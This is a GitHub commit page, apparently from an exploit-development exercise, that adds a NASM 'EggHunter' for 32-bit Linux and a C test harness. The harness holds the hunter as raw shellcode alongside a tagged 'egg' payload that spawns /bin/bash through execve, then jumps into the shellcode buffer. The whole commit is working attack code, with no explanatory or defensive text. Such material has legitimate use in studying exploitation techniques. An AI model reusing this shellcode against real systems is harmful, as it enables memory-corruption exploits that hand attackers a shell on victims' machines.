-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
1117ec5
commit 35538ef
Showing
5 changed files
with
42 additions
and
0 deletions.
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
; EggHunter.nasm | ||
; Author: Ravehorn | ||
|
||
global _start | ||
|
||
section .text | ||
|
||
_align: | ||
|
||
or cx, 0xfff | ||
|
||
_start: | ||
|
||
inc ecx | ||
push byte 0x43 | ||
pop eax | ||
int 0x80 | ||
cmp al, 0xf2 | ||
jz _align | ||
mov eax, 0x4747456d ; mEGG | ||
mov edi, ecx | ||
scasd | ||
jnz _start | ||
scasd | ||
jnz _start | ||
jmp edi |
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
#include <stdio.h> | ||
#include <string.h> | ||
|
||
unsigned char egg_hunter[] = \ | ||
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x6d\x45\x47\x47\x89\xcf" | ||
"\xaf\x75\xec\xaf\x75\xe9\xff\xe7"; | ||
|
||
unsigned char egg[] = \ | ||
"\x6d\x45\x47\x47\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f" | ||
"\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; | ||
|
||
int main(void) { | ||
printf("EggHunter Length: %d\n", strlen(egg_hunter)); | ||
printf("Egg Length: %d\n", strlen(egg) - 4); | ||
((void(*)(void))egg_hunter)(); | ||
} |